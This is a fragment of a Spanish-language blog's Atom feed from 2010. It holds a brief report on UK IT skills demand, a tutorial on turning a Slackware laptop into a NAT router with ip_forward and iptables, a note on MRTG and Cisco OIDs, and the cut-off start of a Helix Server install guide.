Confederation&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt; (REC).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;The Technology Demand and  Supply Q4 2009 report, produced for REC by sector skills council e-skills UK,  found that these were the only skill areas where demand increased for two  consecutive quarters.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;There were a total 82,000  advertised vacancies for IT staff, and 71,000 staff looking for new or  additional jobs in Q4 2009 (a 42 percent quarterly increase), according REC's  report.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;In the skills area,  advertisements for staff with SQL skills were the most prominent, with 20,000  adverts counted in the period. There were 10,600 adverts for workers with C#,  9,500 for .NET and 5,300 for Linux skills.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;Demand for nearly all  skills fell in the period compared with Q4 2008. Only demand for PHP and AJAX  skills grew in Q4 2009 compared with the same period in 2008, 17 percent and six  percent, respectively.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;In terms of occupation, the  highest demand was for system developers in Q4 2009. There were 24,900 vacancies  advertised during this period, followed by systems administrator (4,600  vacancies).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;a class="articleHighlight" href="/tag/systems-developer"&gt;&lt;span style="font-family:verdana;"&gt;Systems developer&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt; was one of six job  categories, out of a total of 20, to see an increase in demand over two  consecutive quarters. Other positions that saw a rise in demand included  projects manager, senior systems developer, business analyst, PC support analyst  and senior &lt;/span&gt;&lt;a class="articleHighlight" href="/tag/test-analyst"&gt;&lt;span style="font-family:verdana;"&gt;test  analyst&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;Demand for web designers  dropped the most compared with Q3 2009, falling 18 percent.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:verdana;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;The report highlighted C#,  systems developers, senior systems developers and senior test analysts as areas  that would be "relatively difficult" for recruiters over the near term due to  skills shortages.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Trebuchet MS'; FONT-SIZE: 10pt"&gt;&lt;span style="font-family:verdana;"&gt;Fuente: &lt;a href="http://www.itworldcanada.com/news/rising-demand-for-sql-linux-skills/140255"&gt;http://www.itworldcanada.com/news/rising-demand-for-sql-linux-skills/140255&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-5922867805015806086?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/5922867805015806086/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/rising-demand-for-sql-linux-skills.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5922867805015806086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5922867805015806086'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/rising-demand-for-sql-linux-skills.html' title='Rising demand for SQL, Linux skills'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4133800104287856132</id><published>2010-03-29T14:34:00.000-07:00</published><updated>2010-03-29T15:55:16.796-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='compartir internet'/><category scheme='http://www.blogger.com/atom/ns#' term='rj45'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='cable cruzado'/><category scheme='http://www.blogger.com/atom/ns#' term='cable'/><category scheme='http://www.blogger.com/atom/ns#' term='cruzado'/><title type='text'>Compartir conexión a Internet usando Slackware</title><content type='html'>&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;Ahora la intención es como lo especifica el título, compartir una conexión a internet a otra PC mediante un cable cruzado, usando nuestro Slackware como un router y una máquina con windows XP como nodo de nuestro router.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;OJO, esto lo hice en mi laptop, es decir yo recibo la señal de internet a través de mi tarjeta inalámbrica y lo comparto a través de la tarjeta ethernet (es decir, a través del cable).&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ftTE5yk93Zc/S7Ei2VSO5iI/AAAAAAAAACE/XaqfPJpMD2E/s1600/ethernet_lan.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 233px; height: 320px;" src="http://3.bp.blogspot.com/_ftTE5yk93Zc/S7Ei2VSO5iI/AAAAAAAAACE/XaqfPJpMD2E/s320/ethernet_lan.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5454178940544280098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#003333;"&gt;SLACKWARE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#000000;"&gt;1).-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;Sabrás que Slackware tiene instalado por default un script que nos activa el ip_forwarding, el cual está instalado en el directorio: &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;/etc/rc.d/rc.ip_forward&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;, si no tiene permisos de ejecución entraremos en la consola(como root) el comando: &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:courier new;"&gt;       # chmod +x &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/etc/rc.d/rc.ip_forward&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;después ejecutaremos el comando:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:verdana;"&gt;                  #&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; /etc/rc.d/rc.ip_forward start&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;En caso de no tener el script, para activar el ip_forwarding ejecutaremos el comando:&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#ff0000;"&gt;       # echo 1 &gt; /proc/sys/net/ipbv4/ip_forward&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#3366ff;"&gt;Asimismo para desactivarlo(si se requiere), ejecutamos:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#ff0000;"&gt;       # echo 0 &gt; /proc/sys/net/ipbv4/ip_forward&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#ff0000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;Cabe resaltar que el ip_forward nos permitirá re-enviar el tráfico de una interfaz de la computadora hacia la otra.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#ff0000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#000000;"&gt;2).- &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;Configurar la interfaz de red (en mi caso se llama eth0) a donde está conectada la computadora con Windows XP, para tal efecto usaremos la red 10.10.1.0/24, definiendo la ip 10.10.1.254/24 para la interfaz eth0(la cual vendrá a ser el default gateway del cliente Windows):&lt;br /&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:verdana;"&gt;# ifconfig eth0 10.10.1.254/24&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;                 # route add -net 10.10.1.0 netmask 255.255.255.0 dev eth0&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#000000;"&gt;3).-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt; Crear el archivo &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;firewall.sh&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt; en el directorio &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;/etc/rc.d/firewall.sh&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:courier new;"&gt;       # touch /etc/rc.d/firewall.sh&lt;br /&gt;       # chmod +x &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/etc/rc.d/firewall.sh&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;Después pegar el siguiente contenido dentro del archivo creado anteriormente:&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:courier new;"&gt;#!/bin/bash&lt;br /&gt;echo -n Aplicando Reglas de Firewall...&lt;br /&gt;## FLUSH de reglas&lt;br /&gt;iptables -F&lt;br /&gt;iptables -X&lt;br /&gt;iptables -Z&lt;br /&gt;iptables -t nat -F&lt;br /&gt;&lt;br /&gt;## Establecemos politica por defecto&lt;br /&gt;iptables -P INPUT ACCEPT&lt;br /&gt;iptables -P OUTPUT ACCEPT&lt;br /&gt;iptables -P FORWARD ACCEPT&lt;br /&gt;iptables -t nat -P PREROUTING ACCEPT&lt;br /&gt;iptables -t nat -P POSTROUTING ACCEPT&lt;br /&gt;&lt;br /&gt;## Empezamos a filtrar&lt;br /&gt;# Nota: wlan0 es el interfaz conectado al acces point(router inalámbrico) y eth0 a la LAN&lt;br /&gt;&lt;br /&gt;iptables -A INPUT -i ! wlan0 -j ACCEPT&lt;br /&gt;&lt;br /&gt;# Ahora hacemos enmascaramiento de la red local&lt;br /&gt;iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Nota: el script no es del todo de mi autoría, sólo lo tomé y lo modifiqué un poco para hacerlo funcionar en mi laptop. La fuente original está en: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;a href="http://www.forosuse.org/forosuse/archive/index.php/t-3185.html"&gt;http://www.forosuse.org/forosuse/archive/index.php/t-3185.html&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#000000;"&gt;4).-&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt; Ejecutar el script firewall.sh:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:courier new;"&gt;          # /etc/rc.d/firewall.sh&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Hasta aquí se tiene configurado nuestro Slackware para compartir la conexión a Internet (es decir, funciona como router). &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#336666;"&gt;WINDOWS XP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Ahora ir a la computadora con Windows XP y configurarle los siguientes datos:&lt;br /&gt;IP: 10.10.1.2&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Máscara: 255.255.255.0&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Default Gateway: 10.10.1.254&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;DNS primario: 8.8.8.8&lt;br /&gt;DNS secundario(opcional): 8.8.4.4&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;Para esto ya no entraré en detalle porque es muy sencillo, pero si sigues teniendo problemas aún bajo windows, haz &lt;a href="http://downloads.thomson.net/telecom/documentation/TG185n/R100/SetupUserGuide/HTML/TG185n_es/wwhelp/wwhimpl/common/html/wwhelp.htm?context=sug&amp;amp;file=Troubleshooting4.htm"&gt;clic aquí&lt;/a&gt; para ver cómo se configura una IP estática bajo Windows XP.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4133800104287856132?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4133800104287856132/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/compartir-conexion-internet-usando.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4133800104287856132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4133800104287856132'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/compartir-conexion-internet-usando.html' title='Compartir conexión a Internet usando Slackware'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ftTE5yk93Zc/S7Ei2VSO5iI/AAAAAAAAACE/XaqfPJpMD2E/s72-c/ethernet_lan.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1595926294717797039</id><published>2010-03-25T14:41:00.000-07:00</published><updated>2010-03-25T15:26:18.994-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='catalyst'/><category scheme='http://www.blogger.com/atom/ns#' term='opensuse'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='snmp'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='mrtg'/><category scheme='http://www.blogger.com/atom/ns#' term='6900'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>MRTG no traduce las MIBs</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ftp.roedu.net/mirrors/people.ee.ethz.ch/%257Eoetiker/webtools/MRTG/mrtg-ti.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 478px; height: 160px;" src="http://ftp.roedu.net/mirrors/people.ee.ethz.ch/%257Eoetiker/webtools/MRTG/mrtg-ti.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;Configurando SNMP, si trabajas con MRTG y estás queriendo monitorear algún equipo Cisco, por alguna extraña razón no puedes usar el nombre de las variables definidas dentro de las MIBs del equipo, esto al menos lo pude comprobar en los sistemas operativos Debian(creo que versión 5 o llamada Lenny), Slackware (12.2 y 13) y OpenSuse(11.1), deberás de usar los OID's correspondientes a cada variable, es decir, no funciona la traducción de los objetos de las MIBs hacia su respectivo OID al momento de ejecutar el monitoreo desde mrtg. Así si por ejemplo quieres usar la variable &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:courier new;"&gt;cpmCPUTotalMonIntervalValue.1 &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;dentro del archivo de configuración &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:courier new;"&gt;mrtg.cfg, &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;deberás usar en lugar de eso su respectivo OID mediante la orden:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:courier new;"&gt;snmptranslate -IR -On cpmCPUTotalMonIntervalValue.1&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;La cual te devolverá un valor parecido a este: .&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:courier new;"&gt;1.3.6.1.4.1.9.9.109.1.1.1.1.10.1&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;Al menos este es un valor válido de OID que se usa para consultar información en el Switch Cisco(TM) Catalyst 2690.&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;Al parecer a mis compañeros que utilizaron Ubuntu no les creó ningún problema y la traducción sí la hace correctamente al momento de ejecutar el monitoreo desde mrtg; aunque como sabrán no soy muy partidario de Ubuntu, sólo pongo el dato.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;Realmente desconozco la razón de tal error, en cuanto la conozca la postearé.&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1595926294717797039?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1595926294717797039/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/configurando-snmp-si-trabajas-con-mrtg.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1595926294717797039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1595926294717797039'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/03/configurando-snmp-si-trabajas-con-mrtg.html' title='MRTG no traduce las MIBs'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1405712645997595950</id><published>2010-03-19T13:02:00.001-07:00</published><updated>2010-03-22T00:34:44.062-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Helix'/><category scheme='http://www.blogger.com/atom/ns#' term='elektrobeat'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Helix español'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalar Helix'/><category scheme='http://www.blogger.com/atom/ns#' term='decibel'/><title type='text'>Instalación de Helix Server en Slackware</title><content type='html'>&lt;div style="text-align: right;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.xandros.com/products/server/images/helix.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 150px; height: 97px;" src="http://www.xandros.com/products/server/images/helix.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;Hola a quien quiera que siga este blog, ahora les indicaré la forma de instalar un Servidor Helix sobre alguna plataforma Linux, tal como lo había prometido.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(102, 51, 255);"&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;Antes de comenzar, les haré la aclaración que las instrucciones son para la versión de prueba (aunque creo que la instalación de un servidor con licencia es la misma), para que quede claro que no violamos ninguna licencia y que la explicación es con fines 